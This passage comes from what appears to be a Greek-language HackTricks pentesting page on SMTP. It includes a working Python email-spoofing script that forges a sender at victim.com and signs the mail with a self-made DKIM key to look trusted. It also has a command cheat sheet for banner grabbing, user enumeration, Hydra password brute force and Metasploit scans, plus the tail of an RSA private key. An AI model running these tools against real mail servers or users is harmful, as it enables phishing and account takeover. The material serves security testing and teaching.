1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----
```
{% endhint %}
**Ή μπορείτε να το κάνετε χειροκίνητα:**
{% tabs %}
{% tab title="PHP" %}
<pre class="language-php"><code class="lang-php"><strong># Αυτό θα στείλει ένα μη υπογεγραμμένο μήνυμα
</strong><strong>mail("το_email_σας@gmail.com", "Θέμα Δοκιμής!", "γεια! Αυτό είναι ένα τεστ", "Από: administrator@victim.com");
</strong></code></pre>
{% endtab %}
{% tab title="Python" %}
```python
# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py
import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]
# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")
# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()
# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()
# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()
# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)
```
### **Περισσότερες πληροφορίες**
**Βρείτε περισσότερες πληροφορίες σχετικά με αυτές τις προστασίες στο** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)
### **Άλλοι δείκτες αλιείας (phishing indicators)**
* Ηλικία του domain
* Σύνδεσμοι που οδηγούν σε διευθύνσεις IP
* Τεχνικές διαχείρισης συνδέσμων
* Υπούλες (ασυνήθιστα) συνημμένα
* Κατεστραμμένο περιεχόμενο email
* Χρήση τιμών που διαφέρουν από αυτές των κεφαλίδων του email
* Υπαρξη ενός έγκυρου και αξιόπιστου πιστοποιητικού SSL
* Υποβολή της σελίδας σε ιστοσελίδες φιλτραρίσματος περιεχομένου
## Εξυφαίριση μέσω SMTP
**Αν μπορείτε να στείλετε δεδομένα μέσω SMTP** [**διαβάστε αυτό**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**.**
## Αρχείο ρύθμισης
### Postfix
Συνήθως, αν είναι εγκατεστημένο, στο `/etc/postfix/master.cf` περιέχονται **σενάρια εκτέλεσης** όταν για παράδειγμα ένα νέο email λαμβάνεται από έναν χρήστη. Για παράδειγμα, η γραμμή `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` σημαίνει ότι το `/etc/postfix/filtering` θα εκτελεστεί αν ληφθεί ένα νέο email από τον χρήστη mark.
Άλλα αρχεία ρυθμίσεων:
```
sendmail.cf
submit.cf
```
## Αναφορές
* [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/)
* [https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/)
```
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
Port_Number: 25,465,587 #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25
Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}
Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
```
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
**Άμεση διαθεσιμότητα εγκατάστασης για αξιολόγηση ευπαθειών & δοκιμές διείσδυσης**. Εκτελέστε μια πλήρη δοκιμή διείσδυσης από οπουδήποτε με 20+ εργαλεία & χαρακτηριστικά που καλύπτουν από την αναγνώριση μέχρι την αναφορά. Δεν αντικαθιστούμε τους δοκιμαστές διείσδυσης - αναπτύσσουμε προσαρμοσμένα εργαλεία, ανίχνευση & εκμετάλλευση modules για να τους δώσουμε πίσω χρόνο να εξερευνήσουν βαθύτερα, να ανοίξουν κελύφη και να διασκεδάσουν.
{% embed url="https://pentest-tools.com/" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν στον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο github.
</details>